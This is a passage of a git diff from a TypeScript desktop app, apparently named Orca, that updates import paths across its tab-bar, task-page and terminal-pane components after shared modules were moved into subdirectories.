+23,10 @@ import { type HostedTerminalQuickCommand, useTerminalQuickCommandHosts } from '@/hooks/use-terminal-quick-command-hosts' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { useProjectHostSetupProjection } from '@/store/projects/use-project-host-setup-projection' import { terminalQuickCommandMatchesWorkspaceProject } from '@/lib/terminal/quick-commands/terminal-quick-command-project-scope' diff --git a/src/renderer/src/components/tab-bar/ThemeSelection.fixture.tsx b/src/renderer/src/components/tab-bar/ThemeSelection.fixture.tsx index ca99cd4bf08..89fcc461675 100644 --- a/src/renderer/src/components/tab-bar/ThemeSelection.fixture.tsx +++ b/src/renderer/src/components/tab-bar/ThemeSelection.fixture.tsx @@ -1,5 +1,5 @@ import { Files, GitBranch, LayoutGrid } from 'lucide-react' -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { makeRepo, makeTerminalTab, diff --git a/src/renderer/src/components/tab-bar/agent-menu-launch-facts.ts b/src/renderer/src/components/tab-bar/agent-menu-launch-facts.ts index af4eabf5e82..47e0fb3e92d 100644 --- a/src/renderer/src/components/tab-bar/agent-menu-launch-facts.ts +++ b/src/renderer/src/components/tab-bar/agent-menu-launch-facts.ts @@ -15,7 +15,10 @@ import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' import { lastVerifiedRuntimeStatus } from '../../../../shared/remote-runtime/host-status/runtime-host-status' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { isRuntimeHostContactRevokedVerdict, runtimeHostContactForEntry diff --git a/src/renderer/src/components/tab-bar/cli-chat-resume-source.ts b/src/renderer/src/components/tab-bar/cli-chat-resume-source.ts index bd2d5faf2cb..3c9c0957aa9 100644 --- a/src/renderer/src/components/tab-bar/cli-chat-resume-source.ts +++ b/src/renderer/src/components/tab-bar/cli-chat-resume-source.ts @@ -4,7 +4,7 @@ import { collectAgentPaneConversations, resolvePaneLastAgentConversation } from '../../lib/agent-session/identity/pane-agent-conversations' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { adoptsCliConversations, type CliConversationRowAgent diff --git a/src/renderer/src/components/tab-bar/client-hosted-browser-row-label.ts b/src/renderer/src/components/tab-bar/client-hosted-browser-row-label.ts index 0ea18bdb455..51aecbd0a24 100644 --- a/src/renderer/src/components/tab-bar/client-hosted-browser-row-label.ts +++ b/src/renderer/src/components/tab-bar/client-hosted-browser-row-label.ts @@ -1,5 +1,5 @@ import type { ClientHostedBrowserRow } from '../../../../shared/browser/client-hosting/client-hosted-browser-rows' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../shared/browser/browser-blank-page' import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/tab-bar/native-chat-cli-fork-run.ts b/src/renderer/src/components/tab-bar/native-chat-cli-fork-run.ts index b7cd725cda9..c1d025ac750 100644 --- a/src/renderer/src/components/tab-bar/native-chat-cli-fork-run.ts +++ b/src/renderer/src/components/tab-bar/native-chat-cli-fork-run.ts @@ -1,8 +1,8 @@ import { useSyncExternalStore } from 'react' import { useAppStore } from '@/store/index' import { readIpcErrorMessage } from '@/runtime/errors/ipc-error' -import { parseExecutionHostId } from '../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { prepareNativeChatCliFork } from '@/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation' import type { NativeChatCliForkSubject } from '@/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation' import { diff --git a/src/renderer/src/components/tab-bar/new-tab-agent-menu-host-preferences-test-fixture.ts b/src/renderer/src/components/tab-bar/new-tab-agent-menu-host-preferences-test-fixture.ts index 7b56ef493c0..d3edd579d5b 100644 --- a/src/renderer/src/components/tab-bar/new-tab-agent-menu-host-preferences-test-fixture.ts +++ b/src/renderer/src/components/tab-bar/new-tab-agent-menu-host-preferences-test-fixture.ts @@ -4,7 +4,7 @@ import { useAppStore } from '@/store' import { setLocalRuntimeCapabilitiesForTests } from '@/runtime/hosts/capabilities/local-runtime-capabilities' import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision' import { clearRuntimeCompatibilityCache } from '@/runtime/rpc/compatibility/runtime-compatibility-cache' -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { projectAgentLaunchSettings } from '../../../../shared/agent-launch/choices/agent-launch-settings' import type { RuntimeEnvironmentStatus } from '../../../../shared/remote-runtime/host-status/runtime-host-status' import { diff --git a/src/renderer/src/components/tab-bar/new-tab-agent-menu-model.ts b/src/renderer/src/components/tab-bar/new-tab-agent-menu-model.ts index 103484071f6..c935f6ff624 100644 --- a/src/renderer/src/components/tab-bar/new-tab-agent-menu-model.ts +++ b/src/renderer/src/components/tab-bar/new-tab-agent-menu-model.ts @@ -5,7 +5,7 @@ import type { buildNewTabAgentMenuRows } from '../../../../shared/agent-launch/picker/agent-launch-picker-rows' import type { UseDetectedAgentsResult } from '@/hooks/useDetectedAgents' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { ProspectiveWorkspace } from '@/lib/agent-session/launch/routing/agent-launch-route-input' import type { AgentPickerDefaultSettings } from '../../../../shared/agent-launch/picker/agent-launch-picker-defaults' diff --git a/src/renderer/src/components/tab-bar/open-tab-search-entries.ts b/src/renderer/src/components/tab-bar/open-tab-search-entries.ts index 78645398dbe..00f5ff2c562 100644 --- a/src/renderer/src/components/tab-bar/open-tab-search-entries.ts +++ b/src/renderer/src/components/tab-bar/open-tab-search-entries.ts @@ -16,7 +16,7 @@ import { getRepoExecutionHostId, getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { getPaletteOwnershipWorktreeIds } from '@/lib/workspace/ownership/unified-tab-host-ownership' import type { StructuredChatTabNames } from '@/runtime/native-chat/naming/structured-chat-tab-name' import type { Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/tab-bar/open-tab-search.ts b/src/renderer/src/components/tab-bar/open-tab-search.ts index 8d2d8581e6e..0c3e771ceab 100644 --- a/src/renderer/src/components/tab-bar/open-tab-search.ts +++ b/src/renderer/src/components/tab-bar/open-tab-search.ts @@ -10,7 +10,10 @@ import { type PaletteActivityRank, type PaletteSearchContext } from '../../../../shared/palette-match/palette-ranking' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { searchBrowserPages, type BrowserPaletteSearchResult, diff --git a/src/renderer/src/components/tab-bar/tab-session-history-switch.ts b/src/renderer/src/components/tab-bar/tab-session-history-switch.ts index 033abdc1c28..90f61eba91e 100644 --- a/src/renderer/src/components/tab-bar/tab-session-history-switch.ts +++ b/src/renderer/src/components/tab-bar/tab-session-history-switch.ts @@ -18,7 +18,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostScope -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { adoptsCliConversations, CLI_CONVERSATION_ADOPTING_AGENTS, diff --git a/src/renderer/src/components/tab-bar/use-new-tab-agent-menu-rows.ts b/src/renderer/src/components/tab-bar/use-new-tab-agent-menu-rows.ts index ee65c95392a..f766494ff8a 100644 --- a/src/renderer/src/components/tab-bar/use-new-tab-agent-menu-rows.ts +++ b/src/renderer/src/components/tab-bar/use-new-tab-agent-menu-rows.ts @@ -14,7 +14,10 @@ export type { AgentMenuRowsTarget, NewTabAgentMenuModel } from './new-tab-agent- import { useMemo } from 'react' import { useShallow } from 'zustand/react/shallow' import { STRUCTURED_AGENT_SESSION_AVAILABILITY_RUNTIME_CAPABILITY as AVAILABILITY } from '../../../../shared/agent-session/structured-agent-session-surface-capabilities' -import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { isTuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent-config' import { useAgentPickerRefusedWake } from './use-agent-picker-refused-wake' import { buildAgentLaunchRouteInput } from '@/lib/agent-session/launch/routing/agent-launch-route-input' diff --git a/src/renderer/src/components/tab-bar/use-tab-bar-runtime-model.ts b/src/renderer/src/components/tab-bar/use-tab-bar-runtime-model.ts index 9e7782e5877..59c6725a00a 100644 --- a/src/renderer/src/components/tab-bar/use-tab-bar-runtime-model.ts +++ b/src/renderer/src/components/tab-bar/use-tab-bar-runtime-model.ts @@ -22,7 +22,7 @@ import { createUnifiedTabLookup } from './tab-bar-item-model' import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy' import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' import type { GitFileStatus } from '../../../../shared/git/status/git-status-types' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-types' import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime' import type { AgentDetectionTarget } from '@/hooks/useDetectedAgents' diff --git a/src/renderer/src/components/tab-group/workspace-emptied-reaction.ts b/src/renderer/src/components/tab-group/workspace-emptied-reaction.ts index 67f5d952aac..5b6c765bdf2 100644 --- a/src/renderer/src/components/tab-group/workspace-emptied-reaction.ts +++ b/src/renderer/src/components/tab-group/workspace-emptied-reaction.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { useAppStore } from '../../store/index' import { armFloatingPanelReclaimIntent } from '@/components/floating-terminal/focus/floating-workspace-focus-reclaim' import { isFloatingWorkspacePanelFocused } from '@/components/floating-terminal/workspace/floating-workspace-terminal-actions' diff --git a/src/renderer/src/components/task-page/github/issue-creation/IssueDialog.tsx b/src/renderer/src/components/task-page/github/issue-creation/IssueDialog.tsx index 60a86c92cf7..c4ea428958b 100644 --- a/src/renderer/src/components/task-page/github/issue-creation/IssueDialog.tsx +++ b/src/renderer/src/components/task-page/github/issue-creation/IssueDialog.tsx @@ -12,7 +12,7 @@ import { import { isScreenSubmitShortcut } from '@/lib/keyboard/screen-submit-shortcut' import { useTranslate } from '@/i18n/use-translate' import { sameGitHubOwnerRepo } from '@/components/github/IssueSourceIndicator' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { repoMatchesHostIdentity } from '@/store/repos/repo-host-identity' import IssueSourceSelector from '@/components/github/IssueSourceSelector' import { diff --git a/src/renderer/src/components/task-page/github/listing/task-page-pr-chips.ts b/src/renderer/src/components/task-page/github/listing/task-page-pr-chips.ts index 58d6f1ccb32..2a317b5aad2 100644 --- a/src/renderer/src/components/task-page/github/listing/task-page-pr-chips.ts +++ b/src/renderer/src/components/task-page/github/listing/task-page-pr-chips.ts @@ -6,7 +6,7 @@ import { } from '../../../../../../shared/work-items/task-query' import type { ParsedTaskQuery } from '../../../../../../shared/work-items/task-query' import { getTaskPresetQuery } from '../../../../../../shared/work-items/task-preset-query' -import type { TaskViewPresetId } from '../../../../../../shared/ui-chrome-types' +import type { TaskViewPresetId } from '../../../../../../shared/ui-chrome/ui-chrome-types' export type GitHubPRStateChip = 'open' | 'merged' | 'closed' | 'all' export type GitHubPRWhoChip = 'everyone' | 'mine' | 'reviewing' diff --git a/src/renderer/src/components/task-page/github/listing/task-page-preset-highlight.ts b/src/renderer/src/components/task-page/github/listing/task-page-preset-highlight.ts index 89b7812d192..4b4cdc47325 100644 --- a/src/renderer/src/components/task-page/github/listing/task-page-preset-highlight.ts +++ b/src/renderer/src/components/task-page/github/listing/task-page-preset-highlight.ts @@ -1,6 +1,6 @@ import type { ParsedTaskQuery } from '../../../../../../shared/work-items/task-query' import type { GitHubTaskKind } from '../../../../../../shared/work-items/task-github-search' -import type { TaskViewPresetId } from '../../../../../../shared/ui-chrome-types' +import type { TaskViewPresetId } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { isOnlyMeAuthor } from './task-page-pr-chips' export function deriveGitHubTaskPreset( kind: GitHubTaskKind, diff --git a/src/renderer/src/components/task-page/github/listing/use-task-page-github-list-state.ts b/src/renderer/src/components/task-page/github/listing/use-task-page-github-list-state.ts index 19d6dbaab9b..7e03372ab40 100644 --- a/src/renderer/src/components/task-page/github/listing/use-task-page-github-list-state.ts +++ b/src/renderer/src/components/task-page/github/listing/use-task-page-github-list-state.ts @@ -1,7 +1,7 @@ import { useTaskPageGitHubCollectionState } from './use-task-page-github-collection-state' import type { TaskPageProviderStateModel } from '../../use-task-page-provider-state' import { useState, useRef, useEffect, useLayoutEffect, useSyncExternalStore } from 'react' -import type { TaskViewPresetId } from '../../../../../../shared/ui-chrome-types' +import type { TaskViewPresetId } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { PER_REPO_FETCH_LIMIT, CROSS_REPO_DISPLAY_LIMIT, diff --git a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts index 957ad175f52..9314bac45ef 100644 --- a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts +++ b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts @@ -8,7 +8,7 @@ import { } from '@/runtime/repository-gitlab/gitlab-owner-api' import { mapSettledWithConcurrency } from '../../../../../shared/concurrency/map-with-concurrency' import type { Repo } from '../../../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { GitLabDialogRepoSelector } from '../../gitlab-item-dialog/gitlab-item-dialog-types' import type { GitLabWorkItem, GitLabTodo } from '../../../../../shared/gitlab/gitlab-types' import { getTaskPageRepoSourceContext } from '../../../lib/work-items/task-repo-source-context' diff --git a/src/renderer/src/components/task-page/jira/creation/use-task-page-jira-summary-generation.test.tsx b/src/renderer/src/components/task-page/jira/creation/use-task-page-jira-summary-generation.test.tsx index f516032f699..de2b3cba229 100644 --- a/src/renderer/src/components/task-page/jira/creation/use-task-page-jira-summary-generation.test.tsx +++ b/src/renderer/src/components/task-page/jira/creation/use-task-page-jira-summary-generation.test.tsx @@ -6,7 +6,7 @@ import type { JiraIssueSummaryGenerationResult } from '../../../../../../shared/ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { useTaskPageJiraSummaryGeneration } from './use-task-page-jira-summary-generation' const mocks = vi.hoisted(() => ({ generate: vi.fn(), cancel: vi.fn(), error: vi.fn() })) diff --git a/src/renderer/src/components/task-page/jira/filters/use-task-page-jira-project-scope.ts b/src/renderer/src/components/task-page/jira/filters/use-task-page-jira-project-scope.ts index 0255dc12678..d7e0408e849 100644 --- a/src/renderer/src/components/task-page/jira/filters/use-task-page-jira-project-scope.ts +++ b/src/renderer/src/components/task-page/jira/filters/use-task-page-jira-project-scope.ts @@ -4,7 +4,7 @@ import type { JiraProjectReference } from '../../../../../../shared/jira/jira-pr import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { resolveJiraSourceHostId } from '../../../../../../shared/jira/jira-source-host' import { getRepoHostIdentity } from '../../../../../../shared/repository/repo-host-identity' diff --git a/src/renderer/src/components/task-page/task-page-cache-selectors.ts b/src/renderer/src/components/task-page/task-page-cache-selectors.ts index 62936d4624e..c98d9141faf 100644 --- a/src/renderer/src/components/task-page/task-page-cache-selectors.ts +++ b/src/renderer/src/components/task-page/task-page-cache-selectors.ts @@ -2,7 +2,10 @@ import { shallow } from 'zustand/shallow' import { workItemsCacheKey } from '@/store/github/cache/cache-identity' import { githubTaskBinding } from '@/lib/work-items/github/github-task-observation' import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { CacheEntry, WorkItemsCacheError, diff --git a/src/renderer/src/components/task-page/task-page-default-repo-selection.ts b/src/renderer/src/components/task-page/task-page-default-repo-selection.ts index 8107d18360b..0da8bddbf8f 100644 --- a/src/renderer/src/components/task-page/task-page-default-repo-selection.ts +++ b/src/renderer/src/components/task-page/task-page-default-repo-selection.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { getProjectIdentityKey, hasProjectRemoteIdentity, diff --git a/src/renderer/src/components/task-page/task-page-localized-options.tsx b/src/renderer/src/components/task-page/task-page-localized-options.tsx index 07aa302f14b..bd2bec9f2ac 100644 --- a/src/renderer/src/components/task-page/task-page-localized-options.tsx +++ b/src/renderer/src/components/task-page/task-page-localized-options.tsx @@ -18,7 +18,7 @@ import { getTaskPresetQuery } from '../../../../shared/work-items/task-preset-qu import type { GitLabMRInvolvement } from '../../../../shared/gitlab/gitlab-types' import type { GitHubPRStateChip, GitHubPRWhoChip } from './github/listing/task-page-pr-chips' import type { TaskProvider } from '../../../../shared/work-items/task-providers' -import type { TaskViewPresetId } from '../../../../shared/ui-chrome-types' +import type { TaskViewPresetId } from '../../../../shared/ui-chrome/ui-chrome-types' export type GitLabTaskFilter = 'opened' | 'merged' | 'closed' | 'all' export type GitLabIssueFilter = 'opened' | 'assigned-to-me' diff --git a/src/renderer/src/components/task-page/use-task-page-runtime-hosts.ts b/src/renderer/src/components/task-page/use-task-page-runtime-hosts.ts index 43f778b27e7..7bd6ec54153 100644 --- a/src/renderer/src/components/task-page/use-task-page-runtime-hosts.ts +++ b/src/renderer/src/components/task-page/use-task-page-runtime-hosts.ts @@ -12,7 +12,7 @@ import type { TaskSourceContext } from '../../../../shared/work-items/task-sourc import type { RuntimeProviderPreflightStatus } from '@/components/task-source-provider-availability' import { buildExecutionHostRegistry } from '../../../../shared/execution-host/execution-host-registry' import { getHostDisplayLabelOverrides } from '../../../../shared/execution-host/host-setting-overrides' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY } from '../../../../shared/work-items/task-source-runtime-capabilities' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import type { PreflightStatus } from '../../../../preload/api/preflight/preflight-api' diff --git a/src/renderer/src/components/task-page/use-task-page-search-actions.ts b/src/renderer/src/components/task-page/use-task-page-search-actions.ts index 7f028bf0411..90735c55d9d 100644 --- a/src/renderer/src/components/task-page/use-task-page-search-actions.ts +++ b/src/renderer/src/components/task-page/use-task-page-search-actions.ts @@ -6,7 +6,7 @@ import { getDefaultPresetForGitHubTaskKind } from '../../../../shared/work-items/task-github-search' import { matchGitHubPRPreset, patchGitHubTaskQuery } from './github/listing/task-page-pr-chips' -import type { TaskViewPresetId } from '../../../../shared/ui-chrome-types' +import type { TaskViewPresetId } from '../../../../shared/ui-chrome/ui-chrome-types' import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import type { GitHubTaskKind } from '@/components/task-page/task-page-localized-options' diff --git a/src/renderer/src/components/task-page/use-task-page-source-availability.ts b/src/renderer/src/components/task-page/use-task-page-source-availability.ts index aab70b017d1..cbcdfb8bcff 100644 --- a/src/renderer/src/components/task-page/use-task-page-source-availability.ts +++ b/src/renderer/src/components/task-page/use-task-page-source-availability.ts @@ -6,7 +6,7 @@ import { getTaskPageRepoSourceContext } from '../../lib/work-items/task-repo-sou import { getTaskSourceHostAvailabilityForHost } from './task-page-source-context' import type { TaskSourceHostAvailability } from '../task-source-context-summary' import { getRepoBackedProviderAvailability } from '@/components/task-source-provider-availability' -import { getSettingsFocusedExecutionHostId } from '../../../../shared/execution-host' +import { getSettingsFocusedExecutionHostId } from '../../../../shared/execution-host/execution-host' import { type TaskSourceContext, normalizeTaskSourceContext, diff --git a/src/renderer/src/components/task-project-source-combobox-model.ts b/src/renderer/src/components/task-project-source-combobox-model.ts index 8b1378b3eb1..dcea8638b8b 100644 --- a/src/renderer/src/components/task-project-source-combobox-model.ts +++ b/src/renderer/src/components/task-project-source-combobox-model.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { TaskProjectPickerGroup } from './task-page/task-page-default-repo-selection' diff --git a/src/renderer/src/components/task-source-context-summary.ts b/src/renderer/src/components/task-source-context-summary.ts index 7d43f0d45ac..90ab1e1bbbc 100644 --- a/src/renderer/src/components/task-source-context-summary.ts +++ b/src/renderer/src/components/task-source-context-summary.ts @@ -1,6 +1,6 @@ import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' -import type { ExecutionHostScope } from '../../../shared/execution-host' +import type { ExecutionHostScope } from '../../../shared/execution-host/execution-host' import type { ExecutionHostHealth } from '../../../shared/execution-host/execution-host-health' import type { SshConnectionStatus } from '../../../shared/remote-runtime/ssh/ssh-types' import type { TaskProvider } from '../../../shared/work-items/task-providers' diff --git a/src/renderer/src/components/task-source-provider-availability.ts b/src/renderer/src/components/task-source-provider-availability.ts index 181b1f474d2..ca2f0d046fb 100644 --- a/src/renderer/src/components/task-source-provider-availability.ts +++ b/src/renderer/src/components/task-source-provider-availability.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import type { TaskProvider } from '../../../shared/work-items/task-providers' import type { PreflightStatus } from '../../../preload/api/preflight/preflight-api' import type { TaskSourceContext } from '../../../shared/work-items/task-source-context' diff --git a/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.ts b/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.ts index 71a1103813f..7b38e4c4e45 100644 --- a/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.ts +++ b/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.ts @@ -1,6 +1,6 @@ import type { ITheme } from '@xterm/xterm' import type { PaneManager } from '@/lib/pane-manager/pane-manager' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { resolveTerminalFontWeights } from '../../../../../shared/terminal/appearance/terminal-fonts' import { resolveTerminalLigaturesEnabled } from '../../../../../shared/terminal/appearance/terminal-ligatures' import { diff --git a/src/renderer/src/components/terminal-pane/appearance/terminal-view-attributes-publisher.ts b/src/renderer/src/components/terminal-pane/appearance/terminal-view-attributes-publisher.ts index 43c83ff16fe..984a41232e0 100644 --- a/src/renderer/src/components/terminal-pane/appearance/terminal-view-attributes-publisher.ts +++ b/src/renderer/src/components/terminal-pane/appearance/terminal-view-attributes-publisher.ts @@ -1,6 +1,6 @@ /** Publish xterm-equivalent theme reply attributes to main’s hidden-PTY responder; module-global dedup avoids repeated sends from per-pane/attribute-neutral appearance updates. */ import type { ITheme } from '@xterm/xterm' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TerminalColorSchemeMode } from '../../../../../shared/terminal/protocol/queries/terminal-color-scheme-protocol' import { terminalColorSchemeReport, diff --git a/src/renderer/src/components/terminal-pane/clipboard/terminal-pane-menu-copy-actions.ts b/src/renderer/src/components/terminal-pane/clipboard/terminal-pane-menu-copy-actions.ts index 7c0dff9d08e..e1bfa53af4b 100644 --- a/src/renderer/src/components/terminal-pane/clipboard/terminal-pane-menu-copy-actions.ts +++ b/src/renderer/src/components/terminal-pane/clipboard/terminal-pane-menu-copy-actions.ts @@ -9,7 +9,7 @@ import { readTerminalClipboardSelection } from './terminal-clipboard-selection-t import { useAppStore } from '@/store/index' import { fencedCode } from '../../editor/contextual-copy/selection-copy' import { formatNativeChatQuote } from '../../native-chat/selection-quotes/native-chat-quote-selection' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' export const copyTerminalPaneMenuSelection = async (pane: ManagedPane | null): Promise => { if (!pane) { diff --git a/src/renderer/src/components/terminal-pane/context-menu/TerminalContextMenu.tsx b/src/renderer/src/components/terminal-pane/context-menu/TerminalContextMenu.tsx index 7873f0263e0..6c7e110bd39 100644 --- a/src/renderer/src/components/terminal-pane/context-menu/TerminalContextMenu.tsx +++ b/src/renderer/src/components/terminal-pane/context-menu/TerminalContextMenu.tsx @@ -27,7 +27,7 @@ import { } from '@/components/ui/dropdown-menu' import { shouldIgnoreTerminalMenuPointerDownOutside } from './terminal-context-menu-dismiss' import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { formatOptionalPrimaryShortcutLabel, formatPrimaryShortcutLabel diff --git a/src/renderer/src/components/terminal-pane/context-menu/open-terminal-beside-tab.ts b/src/renderer/src/components/terminal-pane/context-menu/open-terminal-beside-tab.ts index 201f5110147..926bf02454e 100644 --- a/src/renderer/src/components/terminal-pane/context-menu/open-terminal-beside-tab.ts +++ b/src/renderer/src/components/terminal-pane/context-menu/open-terminal-beside-tab.ts @@ -1,5 +1,5 @@ import { useAppStore } from '@/store/index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { createFloatingWorkspaceTerminalTab } from '@/components/floating-terminal/workspace/floating-workspace-tab-creation' import { revealFloatingWorkspacePanel } from '@/components/floating-terminal/workspace/floating-workspace-panel-reveal' import { activateAndRevealWorkspace } from '@/lib/workspace/activation/worktree-activation' diff --git a/src/renderer/src/components/terminal-pane/controller/TerminalPaneSurface.tsx b/src/renderer/src/components/terminal-pane/controller/TerminalPaneSurface.tsx index 3b86eb73e9e..f1e92c301cd 100644 --- a/src/renderer/src/components/terminal-pane/controller/TerminalPaneSurface.tsx +++ b/src/renderer/src/components/terminal-pane/controller/TerminalPaneSurface.tsx @@ -32,7 +32,7 @@ import type { TerminalPaneController } from './use-terminal-pane-controller' import { canCloseTerminalPane, terminalPaneCloseLabel } from '../layout/close/terminal-pane-close-affordance' import { useAppStore } from '@/store/index' import { getKnownExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { useWslHostStartCardReplacesPaneError } from '../pty-transport/recovery/wsl/use-wsl-host-stopped-pane' import { terminalPaneMenuAddToChat } from '../clipboard/terminal-pane-menu-copy-actions' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/terminal-pane/controller/use-terminal-pane-foundation.ts b/src/renderer/src/components/terminal-pane/controller/use-terminal-pane-foundation.ts index 3ffdec3cc73..bea31aeefe1 100644 --- a/src/renderer/src/components/terminal-pane/controller/use-terminal-pane-foundation.ts +++ b/src/renderer/src/components/terminal-pane/controller/use-terminal-pane-foundation.ts @@ -3,7 +3,10 @@ import { useShallow } from 'zustand/react/shallow' import type { IDisposable } from '@xterm/xterm' import { useAppStore } from '../../../store/index' import { hydrateRuntimeEnvironmentSshState } from '@/runtime/hosts/ssh/runtime-environment-ssh-state' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { TerminalKittyKeyboardModeTracker } from '../../../../../shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker' import type { PaneManager } from '@/lib/pane-manager/pane-manager' import type { PtyTransport } from '../pty-transport/pty-transport-types' diff --git a/src/renderer/src/components/terminal-pane/host-files/terminal-file-editor-target.ts b/src/renderer/src/components/terminal-pane/host-files/terminal-file-editor-target.ts index aee45d4ca2d..cc3924c3835 100644 --- a/src/renderer/src/components/terminal-pane/host-files/terminal-file-editor-target.ts +++ b/src/renderer/src/components/terminal-pane/host-files/terminal-file-editor-target.ts @@ -9,7 +9,7 @@ import { getConnectionExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { isFloatingWorkspaceId } from '../../../../../shared/workspace/identity/floating-workspace-worktree' import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target' import type { TerminalFileContext } from './terminal-file-path-mapping' diff --git 